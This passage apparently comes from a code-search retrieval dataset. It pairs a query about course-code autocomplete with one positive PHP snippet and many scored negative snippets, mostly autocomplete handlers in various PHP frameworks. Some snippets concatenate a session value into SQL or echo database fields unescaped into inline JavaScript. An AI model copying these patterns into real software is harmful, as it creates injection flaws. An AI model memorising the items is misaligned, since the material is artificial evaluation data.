$this->data->marketplaces[] = $this->data->marketplace_products[$i];\n \n if (!empty($this->data->market_violations[$name]))\n {\n $this->data->violatedMarketplaces[$name] = TRUE;\n }\n }\n }\n \n //var_dump($this->data->violatedRetailers);\n //var_dump($this->data->marketplaces);\n //var_dump($this->data->violatedMarketplaces);\n //exit();\n }", "title": "" }, { "docid": "f708ad25a1e92dce0b21b15e5caffa35", "score": "0.5172478", "text": "public function index()\n {\n $patients= patient::orderByDesc('updated_at')->paginate(15);\n $last_update =patient::orderByDesc('updated_at')->first()->updated_at->format('d M Y - H:i');\n $patients->each(function ($p){\n $p['injury_days'] = Carbon::parse($p->date_injury)->diffInDays(Carbon::parse(today()));\n });\n return response()->json([\n 'patients'=>$patients,\n 'last_update'=>$last_update\n ],200);\n }", "title": "" } ]
f124978d6f466612530f488726fe0976
/ This Method for course code auto complete
[ { "docid": "5f7e69c2c5e40a6e21e56f9e577a3fec", "score": "0.63290405", "text": "public function get_course_list_autocomplete() {\n\n $query_string = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');\n\n $result = $this->course->course_list_autocomplete($query_string);\n\n print json_encode($result);\n\n exit;\n\n }", "title": "" } ]
[ { "docid": "98e039cd0435c71923fa36a19e309aa3", "score": "0.6433745", "text": "public function get_course_name_list_autocomplete() {\n\n $query_string = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');\n\n $result = $this->course->course_name_list_autocomplete($query_string, 'course');\n\n print json_encode($result);\n\n exit;\n\n }", "title": "" }, { "docid": "aa4373d8171cfd3e2f250c43a3219d3e", "score": "0.63765144", "text": "public function get_course_name_autocomplete() {\n\n $query_string = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');\n\n $result = $this->course->course_name_autocomplete($query_string);\n\n print json_encode($result);\n\n exit;\n\n }", "title": "" }, { "docid": "61e1c5f04225e2f69029feb008030af5", "score": "0.6365088", "text": "function autoComplete()\n\t{\n\t\tinclude('classes/Core/CAdminUserRegistration.php');\n\t\t$default = new Core_CAdminUserRegistration();\n\t\tif($_GET['ids']==1)\n\t\t\t$output['displayname']=$default->autoComplete();\n\t\telseif($_GET['ids']==2)\n\t\t\t$output['firstname']=$default->autoComplete();\n\t\telseif($_GET['ids']==3)\n\t\t\t$output['lastnname']=$default->autoComplete();\n\t\telseif($_GET['ids']==4)\n\t\t\t$output['email']=$default->autoComplete();\n\t\t//Bin_Template::createTemplate('autocomplete.html',$output);\n\t}", "title": "" }, { "docid": "5b82c120a176bfb9e5ac6112dd844730", "score": "0.63437754", "text": "static function echoAutoCompleteList() {\n\t\t$q = $_REQUEST['term'];\n\t\trequire_once('Customizing/global/plugins/Libraries/AutoComplete/class.ilCourseAutoComplete.php');\n\t\t$search = new ilCourseAutoComplete();\n\t\t$list = $search->getList($q);\n\t\techo $list;\n\t}", "title": "" }, { "docid": "45c6dca6f5f3122539bef75abc054fd4", "score": "0.6340902", "text": "function auto_complete(){\n\t\t// Check for a valid JSON web token\n\t verifyJWT($this->input->post('token'));\n\n\t\t// Yelp Fusion API constants\n\t\t$apiHost = $this->config->item('apiHost');\n\t\t$autoCompletePath = $this->config->item('autoCompletePath');\n\n\t\t// Get user input\n\t\t$text = $this->input->post('text');\n\t\t$latitude = $this->input->post('latitude');\n\t\t$longitude = $this->input->post('longitude');\n\n\t\t// Build the paramater array\n\t\t$url_params = array();\n\t\t$url_params['text'] = $text;\n\t\t$url_params['latitude'] = $latitude;\n\t\t$url_params['longitude'] = $longitude;\n\n\t\t// Get the bearer token\n\t\t$bearer_token = $this->obtain_bearer_token();\n\n\t\t// Call the API request method\n\t\t$response = $this->request($bearer_token, $apiHost, $autoCompletePath, $url_params);\n\n\t\t// Print out the JSON response\n\t\techo \"$response\";\n\t}", "title": "" }, { "docid": "446b811e3ed49ca8f05f9247f63ee0fe", "score": "0.6226725", "text": "public function get_course_list_autocomplete() {\n\n $query_string = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');\n\n $result = $this->course_model->course_list_autocomplete($query_string);\n\n print json_encode($result);\n }", "title": "" }, { "docid": "bbad226df27217bff7005a64c00805e8", "score": "0.61105335", "text": "public function get_course_name_copy_autocomplete() {\n\n $query_string = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');\n\n $result = $this->course->course_name_copy_autocomplete($query_string);\n\n print json_encode($result);\n\n exit;\n\n }", "title": "" }, { "docid": "65a9866826f6cc0cd2567992f786bb0d", "score": "0.59353554", "text": "public function get_copy_course_name_list_autocomplete() {\n\n $query_string = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');\n\n $result = $this->course->course_name_list_autocomplete($query_string, 'copy');\n\n print json_encode($result);\n\n exit;\n\n }", "title": "" }, { "docid": "a47c3f336e61ef85869b568e5be20a9d", "score": "0.5854642", "text": "function tpps_project_accession_autocomplete($string) {\n $matches = array();\n\n $query = db_select('chado.plusgeno_view', 'p')\n ->fields('p', array('accession'))\n ->condition('accession', $string, '~*')\n ->execute();\n\n while (($result = $query->fetchObject())) {\n $matches[$result->accession] = check_plain($result->accession);\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "f82d48d4f4c08c1d0286d83533e1e4a4", "score": "0.58223474", "text": "function tpps_structure_autocomplete($string) {\n $matches = array();\n $structures = array();\n $struct_results = chado_select_record('phenotype', array('distinct observable_id'), array());\n\n foreach ($struct_results as $result) {\n $structures[] = $result->observable_id;\n }\n\n $results = chado_select_record('cvterm', array('name'), array(\n 'name' => array(\n 'data' => $string,\n 'op' => '~*',\n ),\n 'cvterm_id' => $structures,\n ));\n\n if (empty($results)) {\n $results = chado_select_record('cvterm', array('name'), array(\n 'name' => array(\n 'data' => $string,\n 'op' => '~*',\n ),\n ));\n }\n\n foreach ($results as $row) {\n $matches[$row->name] = check_plain($row->name);\n if (!empty($row->definition)) {\n $matches[$row->name] = check_plain($row->name . ': ' . $row->definition);\n }\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "c2e58c322f33414d3c06af90135e3de2", "score": "0.5772764", "text": "public function getSuggestions();", "title": "" }, { "docid": "b672db6efd0443f15cabbe10ae60434e", "score": "0.5771145", "text": "public function autocomplete($fragment) {\n\n // TODO cache all the LDAP stuff in SESSION to prevent jaming up AD as people type\n\n// $ldapconnection = $this->ldap_connect();\n//\n// foreach ($ldapdns as $ldapdn) {\n//\n// $this->\n//\n// }\n//\n//\n\n }", "title": "" }, { "docid": "ac248b859978c446dd26e1a51866d65a", "score": "0.5728118", "text": "function autoComplete(){\n\t\t// Acquire user data\n\t\tglobal $db;\t\n\t\t$sql = \"SELECT * FROM UserInfo WHERE UserID = \".$_SESSION['ID'];\n\t\t$stmt = oci_parse($db, $sql);\n\t\tif(!$stmt){\n\t\t\techo \"An error occurred in parsing the sql string.\\n\"; \n\t\t\texit; \n\t\t}\n\t\toci_execute($stmt); \n\t\t\n\t\t$output[] = '';\n\t\twhile(oci_fetch_array($stmt)) {\n\t\t\t$firstname = oci_result($stmt, \"FIRSTNAME\");\n\t\t\t$lastname = oci_result($stmt, \"LASTNAME\");\n\t\t\t$address = oci_result($stmt, \"ADDRESS\");\n\t\t\t$company = oci_result($stmt, \"COMPANY\");\n\t\t\t$city = oci_result($stmt, \"CITY\");\n\t\t\t$state = oci_result($stmt, \"STATE\");\n\t\t\t$postcode = oci_result($stmt, \"POSTCODE\");\n\t\t\t$country = oci_result($stmt, \"COUNTRY\");\n\t\t\t$email = oci_result($stmt, \"EMAIL\");\n\t\t\t$telephone = oci_result($stmt, \"TELEPHONE\");\n\t\t}\n\t\t\n\t\t// Fill the form\n\t\techo \"<script type = 'text/javascript'>\n\t\t\tdocument.getElementById('firstname').value = '\".$firstname.\"';\n\t\t\tdocument.getElementById('lastname').value = '\".$lastname.\"';\n\t\t\tdocument.getElementById('address').value = '\".$address.\"';\n\t\t\tdocument.getElementById('company').value = '\".$company.\"';\n\t\t\tdocument.getElementById('city').value = '\".$city.\"';\n\t\t\tdocument.getElementById('postcode').value = '\".$postcode.\"';\n\t\t\tdocument.getElementById('email').value = '\".$email.\"';\n\t\t\tdocument.getElementById('telephone').value = '\".$telephone.\"';\n\t\t\t\n\t\t\tvar state = document.getElementById('state');\n\t\t\tvar opts = state.getElementsByTagName('option');\n\t\t\t\tfor(var i = 0; i < opts.length; i ++){\n\t\t\t\t\tif(opts[i].value == '\".$state.\"')\n\t\t\t\t\t\topts[i].selected = true;\n\t\t\t\t}\n\t\t</script>\t\n\t\t\";\n\t}", "title": "" }, { "docid": "9c07911a9f4e08886855539a13a2fb4d", "score": "0.5727027", "text": "function auto_complete() {\n\t\t//$this->data['Post']['subject'] \n\t\t$this->set('posts', $this->Post->find('all', array(\n\t\t\t\t\t'conditions' => array(\n\t\t\t\t\t\t'Post.subject LIKE' => $this->data['Post']['subject'].'%'\n\t\t\t\t\t),\n\t\t\t\t\t'fields' => array('subject')\n\t\t)));\n\t\t$this->layout = 'ajax';\n\t}", "title": "" }, { "docid": "4186640ffefc110866771f13fce4cbc3", "score": "0.56989324", "text": "function tpps_project_title_autocomplete($string) {\n $matches = array();\n\n $query = db_select('chado.plusgeno_view', 'p')\n ->fields('p', array('title'))\n ->condition('title', $string, '~*')\n ->execute();\n\n while (($result = $query->fetchObject())) {\n $matches[$result->title] = check_plain($result->title);\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "f633ebcebefa2a2096d36db21994b10f", "score": "0.56904745", "text": "function tpps_phenotype_ontology_autocomplete($string) {\n $matches = array();\n\n $query = db_select('chado.phenotype', 'p');\n $query->join('chado.cvterm', 'cvt', 'cvt.cvterm_id = p.attr_id');\n $query->join('chado.cv', 'cv', 'cv.cv_id = cvt.cv_id');\n $query->fields('cv', array('name'));\n $query->condition('cv.name', $string, '~*');\n $query = $query->execute();\n\n while (($result = $query->fetchObject())) {\n $matches[$result->name] = check_plain($result->name);\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "fe3398e4297ee54bb3cf5aeff1687917", "score": "0.56732106", "text": "function _auto_complete_field($field_id, $url, $options = array())\n {\n $javascript = \"new Ajax.Autocompleter(\";\n\n $javascript .= \"'\".get_id_from_name($field_id).\"', \";\n if (isset($options['update']))\n {\n $javascript .= \"'\".$options['update'].\"', \";\n }\n else\n {\n $javascript .= \"'\".get_id_from_name($field_id).\"_auto_complete', \";\n }\n\n $javascript .= array_or_string_for_javascript(url_for($url));\n\n $js_options = array();\n if (isset($options['tokens']))\n {\n $js_options['tokens'] = array_or_string_for_javascript($options['tokens']);\n }\n if (isset ($options['with']))\n {\n $js_options['callback'] = \"function(element, value) { return \".$options['with'].\"}\";\n }\n if (isset($options['indicator']))\n {\n $js_options['indicator'] = array_or_string_for_javascript($options['indicator']);\n }\n if (isset($options['on_show']))\n {\n $js_options['onShow'] = $options['on_show'];\n }\n if (isset($options['on_hide']))\n {\n $js_options['onHide'] = $options['on_hide'];\n }\n if (isset($options['min_chars']))\n {\n $js_options['minChars'] = $options['min_chars'];\n }\n if (isset($options['frequency']))\n {\n $js_options['frequency'] = $options['frequency'];\n }\n if (isset($options['update_element']))\n {\n $js_options['updateElement'] = $options['update_element'];\n }\n if (isset($options['after_update_element']))\n {\n $js_options['afterUpdateElement'] = $options['after_update_element'];\n }\n if (isset($options['param_name'])) \n {\n $js_options['paramName'] = \"'\".$options['param_name'].\"'\";\n }\n\n $javascript .= ', '.options_for_javascript($js_options).');';\n\n return javascript_tag($javascript);\n }", "title": "" }, { "docid": "151884ff7ef5d451bc8d6f4a95040e24", "score": "0.5657046", "text": "function autocomplete_diagnosa(){ \n if (isset($_GET['term'])){\n $q = strtolower($_GET['term']);\n $this->rjmpelayanan->autocomplete_diagnosa($q);\n }\n }", "title": "" }, { "docid": "38cc7aba68a7d6141b7bb9e105af8762", "score": "0.5623603", "text": "function readline_completion_function($function){}", "title": "" }, { "docid": "de0e98a329df792461954edb96b739b9", "score": "0.561055", "text": "public function testEvaluationSkillv1userssuggestcontent()\n {\n\n }", "title": "" }, { "docid": "3379b5b2f51968b7d840b7d4c2c0c8bc", "score": "0.56093585", "text": "function get_search_proposals(){\n\t\tget_proposals(\"search\");\n\t}", "title": "" }, { "docid": "2e48f005f8743b6e1f4a7dd36010d0b6", "score": "0.56023014", "text": "function getData4Autocompleter($URL_BASE,$searchq){\n\t$data=getURLdata($URL_BASE.'?task=suggestDetails&arg='.$searchq);\n\n\t$arrayResponse=array(\"query\"=>$searchq,\n\t\t\t\t\t\t \"suggestions\"=>array(),\n\t\t\t\t\t\t \"data\"=>array());\n\n\tif($data->resume->cant_result > 0)\t{\n\t\t$i=0;\n\t\tforeach ($data->result->term as $value){\n\t\t\t\t\t$i=++$i;\n\t\t\t\t\tarray_push($arrayResponse[\"suggestions\"], (string) $value->string);\n\t\t\t\t\tarray_push($arrayResponse[\"data\"], (int) $value->term_id);\n\t\t\t\t\t}\n\t\t\t\t}\n\n return json_encode($arrayResponse);\n}", "title": "" }, { "docid": "fbd4725bb100a7624e5641839dcffe02", "score": "0.5599915", "text": "function register_autocomplete_field($project_id, $ac_instrument, $ac_field, $ac_dictionary){\r\n // scope the global database connection\r\n global $conn;\r\n\r\n // make a note in the redcap database that this text field uses this dictionary. \r\n // the hook will then check this database and add in the necessary javascript when the page is loaded. \r\n // We'll use the element_enum field and prefix it with DICT: to indicate that the enum values are available in a separate dictionary\r\n $ac_dictionary = 'DICT:'.$ac_dictionary;\r\n \r\n if($project_id && $ac_instrument && $ac_field && $ac_dictionary){\r\n $stmt = $conn->prepare(\"UPDATE redcap_metadata set element_enum=? where project_id=? and form_name=? and field_name=?\") or trigger_error($conn->error);\r\n $stmt->bind_param('siss', $ac_dictionary, $project_id, $ac_instrument, $ac_field) or trigger_error($stmt->error);\r\n $result = $stmt->execute();\r\n if ($result){\r\n echo \"Autocomplete field successfully registered\";\r\n }\r\n else{\r\n \"Error registering autocomplete field: \".$conn->error;\r\n }\r\n \r\n } \r\n\r\n //select * from redcap_metadata where project_id=$project_id and form_name=$ac_instrument and field_name=$ac_field;\r\n \r\n // do we need to do any checks to ensure the user has permissions on this project / form / field?\r\n \r\n //update redcap_metadata set element_note=\"AUTOCOMPLETE:$ac_dictionary\" where project_id=$project_id and form_name=$ac_instrument and field_name=$ac_field;\r\n\r\n \r\n}", "title": "" }, { "docid": "76046d9721f623c81144a5303437967d", "score": "0.5588763", "text": "function tpps_attribute_autocomplete($string) {\n $matches = array();\n $attributes = array();\n $attr_results = chado_select_record('phenotype', array('distinct attr_id'), array());\n\n foreach ($attr_results as $result) {\n $attributes[] = $result->attr_id;\n }\n\n $results = chado_select_record('cvterm', array('name'), array(\n 'name' => array(\n 'data' => $string,\n 'op' => '~*',\n ),\n 'cvterm_id' => $attributes,\n ));\n\n foreach ($results as $row) {\n $matches[$row->name] = check_plain($row->name);\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "dd6f720e5f62941cf5e74a6913c753d1", "score": "0.558493", "text": "function tpps_phenotype_autocomplete($string) {\n $matches = array();\n\n $results = chado_select_record('phenotype', array('name'), array(\n 'name' => array(\n 'data' => $string,\n 'op' => '~*',\n ),\n ));\n\n foreach ($results as $row) {\n $matches[$row->name] = check_plain($row->name);\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "03c416784e0cf4e38bde8ce82e09125e", "score": "0.5576272", "text": "function autocomplete() {\n\t\t# $this -> data['Pedido']['articulo']\n\t\t# con Jquery parece que viene en $this->params['url']['q']\n\t\t// $articulo = strtoupper($this -> data['Pedido']['articulo']);\n\t\t$articulo = strtoupper($this -> params['url']['q']);\n\t\t$this -> set('articulos', $this -> Pedido -> Orden -> Articulo -> find('all', array(\n\t\t\t'conditions' => array('Articulo.detalle LIKE' => '%' . $articulo . '%'),\n\t\t\t'fields' => array(\n\t\t\t\t'detalle',\n\t\t\t\t'id'\n\t\t\t),\n\t\t\t'order' => 'orden',\n\t\t)));\n\t\t$this -> layout = 'ajax';\n\t}", "title": "" }, { "docid": "089d9757045403a6ff4ecd1cf17c736c", "score": "0.55586916", "text": "function tpps_genotype_autocomplete($string) {\n $matches = array();\n\n $query = db_select('chado.tpps_search_genotype_name', 'g')\n ->fields('g', array('name'))\n ->condition('g.name', $string, '~*')\n ->execute();\n\n while (($result = $query->fetchObject())) {\n $matches[$result->name] = check_plain($result->name);\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "7a56957cdaa0996cbd72d2fb03bc834f", "score": "0.55368924", "text": "public function getAutocomplete() {\r\n\t\treturn $this->getAtributo(\"autocomplete\");\r\n\t}", "title": "" }, { "docid": "f9cd5993c90e020cba4f25fb69495332", "score": "0.5518256", "text": "function tpps_genotype_marker_autocomplete($string) {\n $matches = array();\n\n $query = db_select('chado.tpps_search_genotype_marker', 'g')\n ->fields('g', array('name'))\n ->condition('g.name', $string, '~*')\n ->execute();\n\n while (($result = $query->fetchObject())) {\n $matches[$result->name] = check_plain($result->name);\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "5f04c970eab3ca1443fc8a7bc69434d7", "score": "0.54978085", "text": "function darwincore_autocomplete($field, $string=''){\n // Sanity check required to ensure that NO CRACKING can be done!\n $matches = array();\n if(in_array($field, array('institutioncode','collectioncode','taxonomicname','identificationqualifier','identifiedby','collector','lifestage'))){\n switch ($field){\n case 'taxonomicname':\n $results = db_query_range(\"SELECT DISTINCT name AS string FROM {term_data} WHERE LOWER(name) LIKE LOWER('%s%%')\", $string, 0, 10);\n break;\n case 'identifiedby':\n case 'collector':\n $results = db_query_range(\"SELECT DISTINCT string FROM (SELECT identifiedby AS string FROM {darwincore} UNION SELECT collector AS string FROM {darwincore}) AS something WHERE string LIKE '%s%%' ORDER BY string\", $string, 0, 10);\n break;\n default:\n $results = db_query_range(\"SELECT DISTINCT %s AS string FROM {darwincore} WHERE LOWER(%s) LIKE LOWER('%s%%')\", $field, $field, $string, 0, 10);\n }\n } else if (in_array($field, array('stateprovince','islandgroup','island','county','geodeticdatum','verbatimcoordinatesystem','georeferenceprotocol'))){\n $results = db_query_range(\"SELECT DISTINCT %s AS string FROM {darwincorelocation} WHERE LOWER(%s) LIKE LOWER('%s%%')\", $field, $field, $string, 0, 10);\n }\n if($results){\n while ($result = db_fetch_object($results)){\n $matches[$result->string] = check_plain($result->string);\n }\n }\n print json_encode($matches);\n exit();\n}", "title": "" }, { "docid": "e7de9416a586d22698bc5dba1d58bdd3", "score": "0.5424493", "text": "public function aj_autoCompleteIndex()\n\t\t{\n\t\t\t# code...\t\t \n\t $key = isset($_REQUEST['key']) && $_REQUEST['key'] ? strtoupper($_REQUEST['key']):'';\n\t $and='1';\n\t if($key)\n\t {\n\t \t$and .= ' and (translate_name like \"%'.$key.'%\"';\t\t\t\t\n\t\t\t\t$and .= ' or translate_code like \"%'.$key.'%\")';\t \n\t }\n\t $object = 'DISTINCT translate_name,id';\n\t $orderby = 'translate_name asc';\t \n\t $result = $this->mtranslate->getQuery($object=\"\",$join=\"\",$and,$orderby,$limit=\"\"); \n\t $this->_data = array();\n\t if($result)\n\t {\n\t foreach ($result as $key => $value) {\n\t # code...\n\t $row_array['translate_name'] = $value['translate_name']; \t \n\t $row_array['id'] = $value['id']; \t \n\t array_push($this->_data, $row_array); \n\t }\n\t } \n\t echo json_encode($this->_data);\n\t\t}", "title": "" }, { "docid": "7bd2d35288f588bd17bc46a65586c944", "score": "0.5381649", "text": "function suggest()\n\t{\n\t\t$suggestions = $this->Giftcard->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "b164626571443f5a0fc817619a321ec2", "score": "0.5381051", "text": "public function getAutocomplete()\r\n\t{\r\n\t\tglobal $link;\r\n\r\n\t\tparent::process();\r\n\r\n\t\tif(!$this->oPrediggoSearchConfig->autocompletion_active)\r\n\t\t\treturn '';\r\n\r\n\t\t$aItems = array();\r\n\r\n\t\t/* If $sQuery is empty return the prediggo suggestion and products */\r\n\t\tif(strlen($this->sQuery) >= $this->oPrediggoSearchConfig->search_nb_min_chars\r\n\t\t&& $oPrediggoResult = $this->launchAutoComplete())\r\n\t\t{\r\n\r\n\t\t\trequire_once(_PS_MODULE_DIR_.'prediggo/prediggo.php');\r\n\t\t\t$oModule = new Prediggo();\r\n\r\n\t\t\tforeach($oPrediggoResult->getSuggestedWords() as $oSuggestedWords)\r\n\t\t\t{\r\n\t\t\t\tself::$smarty->assign(array('oSuggestedWords' => $oSuggestedWords));\r\n\t\t\t\t$aItems[] = array(\r\n\t\t\t\t\t'value' => $oModule->displayAutocompleteDidYouMean($oSuggestedWords),\r\n\t\t\t\t\t'link' => $link->getPageLink('modules/prediggo/prediggo_search.php').'?q='.$oSuggestedWords->getWord(),\r\n\t\t\t\t\t'notificationId' => '',\r\n\t\t\t\t\t'isRecommendation' => false\r\n\t\t\t\t);\r\n\t\t\t}\r\n\r\n\t\t\tforeach($this->oPrediggoCall->getSuggestedProducts($oPrediggoResult, (int)self::$cookie->id_lang, (int)$this->oPrediggoSearchConfig->autocompletion_nb_items) as $aRecommendation)\r\n\t\t\t{\r\n\t\t\t\tself::$smarty->assign(array('aRecommendation' => $aRecommendation));\r\n\t\t\t\t$aItems[] = array(\r\n\t\t\t\t\t'value' => $oModule->displayAutocompleteProduct(),\r\n\t\t\t\t\t'link' => $aRecommendation['link'],\r\n\t\t\t\t\t'notificationId' => $aRecommendation['notificationId'],\r\n\t\t\t\t\t'isRecommendation' => true\r\n\t\t\t\t);\r\n\t\t\t}\r\n\t\t}\r\n\t\t/* If $sQuery is empty return the suggestion words defined by the client in the BO */\r\n\t\telseif(strlen($this->sQuery) == 0)\r\n\t\t{\r\n\t\t\tglobal $link;\r\n\r\n\t\t\tif($aSuggestWords = explode(',',$this->oPrediggoSearchConfig->suggest_words[(int)self::$cookie->id_lang]))\r\n\t\t\t{\r\n\t\t\t\trequire_once(_PS_MODULE_DIR_.'prediggo/prediggo.php');\r\n\t\t\t\t$oModule = new Prediggo();\r\n\r\n\t\t\t\tforeach($aSuggestWords as $sSuggestWord)\r\n\t\t\t\t{\r\n\t\t\t\t\tself::$smarty->assign(array('sSuggestWord' => trim($sSuggestWord)));\r\n\t\t\t\t\t$aItems[] = array(\r\n\t\t\t\t\t\t'value' => $oModule->displayAutocompleteSuggest(),\r\n\t\t\t\t\t\t'link' => $link->getPageLink('modules/prediggo/prediggo_search.php').'?q='.$sSuggestWord,\r\n\t\t\t\t\t\t'notificationId' => '',\r\n\t\t\t\t\t\t'isRecommendation' => false\r\n\t\t\t\t\t);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn $aItems;\r\n\t}", "title": "" }, { "docid": "95e9490db60affed821daec490930d67", "score": "0.5353791", "text": "function search_api_autocomplete_test_custom_autocomplete_callback() {\n $suggestions = [];\n foreach ($_GET as $key => $value) {\n $suggestions[] = [\n 'value' => $value,\n 'label' => htmlentities(\"$key: $value\"),\n ];\n }\n header('Content-type: application/json');\n echo json_encode($suggestions, JSON_PRETTY_PRINT);\n exit;\n}", "title": "" }, { "docid": "9d20b66553a29daaca7822ce02b3a0c3", "score": "0.5331774", "text": "public function testAirportAutocomplete()\n {\n }", "title": "" }, { "docid": "6bf17612f0d15b0ec40f9d3f35a19db5", "score": "0.5318392", "text": "public function en_cours()\n {\n $this->index('', 1);\n }", "title": "" }, { "docid": "75f6b590996fb4e9d3267c2d6cb69468", "score": "0.5311509", "text": "function suggest()\n\t{\n\t\t$suggestions = $this->Item_kit->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "a27426932c085e8e921dbdc73963764d", "score": "0.53098065", "text": "function bt_autocomplete($label,$pole,$size,$maxlength,$script,$formname,$value=''){\n $s=tg('div','class=\"form-group row\"',\n tg('label','for=\"'.$pole.$formname.'\" ',$label).nbsp(1).\n tg('select','class=\"form-control w-50\" name=\"'.$pole.'\" id=\"'.$pole.$formname.'\" '.\n 'placeholder=\"zadejte text...\" '.\n 'data-noresults-text=\"Žádný záznam.\" '.\n 'autocomplete=\"on\"',' '));\n $s.=tg('script','type=\"text/javascript\"',\n \" $('#\".$pole.$formname.\"').autoComplete( {\n resolverSettings: { url: '\".$script.\"?', fail:function(){} },\n resolver: 'ajax',\n minLength: 1\n }\n );\n \"); \n return $s;\n}", "title": "" }, { "docid": "0276bf083af6327de5b1cc17daf51ea6", "score": "0.5300788", "text": "public function testRailStationAutocomplete()\n {\n }", "title": "" }, { "docid": "ac6df8da89ed53efc40f53fb7a0df4d6", "score": "0.52974117", "text": "function input_auto_complete_tag($name, $value, $url, $tag_options = array(), $completion_options = array())\n {\n $context = sfContext::getInstance();\n\n $tag_options = _convert_options($tag_options);\n\n $response = $context->getResponse();\n $response->addJavascript(sfConfig::get('sf_prototype_web_dir').'/js/prototype');\n $response->addJavascript(sfConfig::get('sf_prototype_web_dir').'/js/effects');\n $response->addJavascript(sfConfig::get('sf_prototype_web_dir').'/js/controls');\n\n $comp_options = _convert_options($completion_options);\n if (isset($comp_options['use_style']) && $comp_options['use_style'] == true)\n {\n $response->addStylesheet(sfConfig::get('sf_prototype_web_dir').'/css/input_auto_complete_tag');\n }\n\n $tag_options['id'] = get_id_from_name(isset($tag_options['id']) ? $tag_options['id'] : $name);\n\n $javascript = tag('input', array_merge(array('type' => 'text', 'name' => $name, 'value' => $value), _convert_options($tag_options)));\n $javascript .= content_tag('div', '' , array('id' => $tag_options['id'].'_auto_complete', 'class' => 'auto_complete'));\n $javascript .= _auto_complete_field($tag_options['id'], $url, $comp_options);\n\n return $javascript;\n }", "title": "" }, { "docid": "995a334280d1b7ba9c71477328c44288", "score": "0.52929616", "text": "function suggest()\n\t{\n\t\t$suggestions = $this->Location->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "4ce3cccc0f3dd2c028da9eac277c599e", "score": "0.52863765", "text": "function suggest()\n\t{\n\t\t$suggestions = $this->Item->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "386e1ddcea6fab61a5fa07e07feff2cb", "score": "0.52778554", "text": "public function suggest()\n {\n $suggestions = $this->Service->suggest($this->input->post('q'));\n echo implode(\"\\n\", $suggestions);\n }", "title": "" }, { "docid": "4524c3bd238be7979089a2d40e7aa35e", "score": "0.5261037", "text": "public function actionAutocomplete()\n\t{\n\t\tif (Yii::app()->request->isAjaxRequest && Yii::app()->request->getQuery('term')) {\n\t\t\t$criteria = new CDbCriteria();\n\t\t\t$criteria->compare('name' , Yii::app()->request->getQuery('term'), true);\n\t\t\t$criteria->compare('language_id', Yii::app()->request->getQuery('languageId'));\n\t\t\t$criteria->limit = 4;\n\t\t\t\n\t\t\t$tags = WikiTags::model()->findAll($criteria);\n\t\t\t$result = array();\n\t\t\tforeach ($tags as $tag)\n\t\t\t\t$result[] = array(\n\t\t\t\t\t\t'tag_idid' => $tag->id,\n\t\t\t\t 'tag_name' => $tag->name,\n\t\t\t\t);\n\t\n\t\t\techo CJSON::encode($result);\n\t\t}\n\t}", "title": "" }, { "docid": "8c16195dc7d7bfbd6fac1b0cc8335473", "score": "0.5259619", "text": "function precodeandbeauty() {\n\t\treturn CodeAndBeauty::instance();\n\t}", "title": "" }, { "docid": "4f0d3dbd5642b022fb3142196590e83c", "score": "0.5249062", "text": "function suggest_po()\n\t{\n\t\tsession_write_close();\n\t\t$suggestions = $this->Item->get_search_suggestions_po($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "fc66345fa7d346fafed5e35c4a410542", "score": "0.52463675", "text": "function ncurses_longname(){}", "title": "" }, { "docid": "36aaab3110d5e20e1c977775b1e26e86", "score": "0.5244138", "text": "function yp_editor_func() {\n \n}", "title": "" }, { "docid": "d11b2b9e125f7c3f33f23a39a9e9e3da", "score": "0.52412486", "text": "function getAscent(){}", "title": "" }, { "docid": "d11b2b9e125f7c3f33f23a39a9e9e3da", "score": "0.52412486", "text": "function getAscent(){}", "title": "" }, { "docid": "d11b2b9e125f7c3f33f23a39a9e9e3da", "score": "0.52412486", "text": "function getAscent(){}", "title": "" }, { "docid": "2255c1ed4ce8af32fe6bc2bd47ff15fc", "score": "0.5229729", "text": "function suggest()\n\t{\n\t\t//allow parallel searchs to improve performance.\n\t\tsession_write_close();\n\t\t$suggestions = $this->Universities->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "29ab51f4b394c208ac7a1d6b00b36ca8", "score": "0.52272207", "text": "function common_companies_autocomplete($company) {\n $ci = & get_instance();\n $ci->load->model('company_model', 'companymodel');\n $result = $ci->companymodel->internal_company_list_autocomplete($company, 'edit');\n $output = $result;\n $output = array();\n foreach ($result as $k => $v) {\n $output[] = array(\n 'key' => $v->company_id,\n 'value' => $v->company_name,\n 'label' => $v->company_name . '(' . $v->comp_regist_num . ')',\n );\n }\n if (stripos($ci->data['tenant_details']->tenant_name, $company) !== false) {\n $tenant_details = $ci->data['tenant_details'];\n $output[] = array(\n 'key' => $tenant_details->tenant_id,\n 'value' => $tenant_details->tenant_name,\n 'label' => $tenant_details->tenant_name . '(' . $tenant_details->tenant_id . ')',\n );\n }\n return $output;\n}", "title": "" }, { "docid": "8f225a81e385f35e3d883d2dd8496599", "score": "0.5226632", "text": "function init__occle()\n{\n\trequire_lang('occle');\n\trequire_code('users_active_actions');\n}", "title": "" }, { "docid": "9604019a46cc316818a223fc36a8ff0a", "score": "0.5209132", "text": "function tpps_units_autocomplete($string) {\n $matches = array();\n\n $results = chado_select_record('phenotypeprop', array('value'), array(\n 'value' => 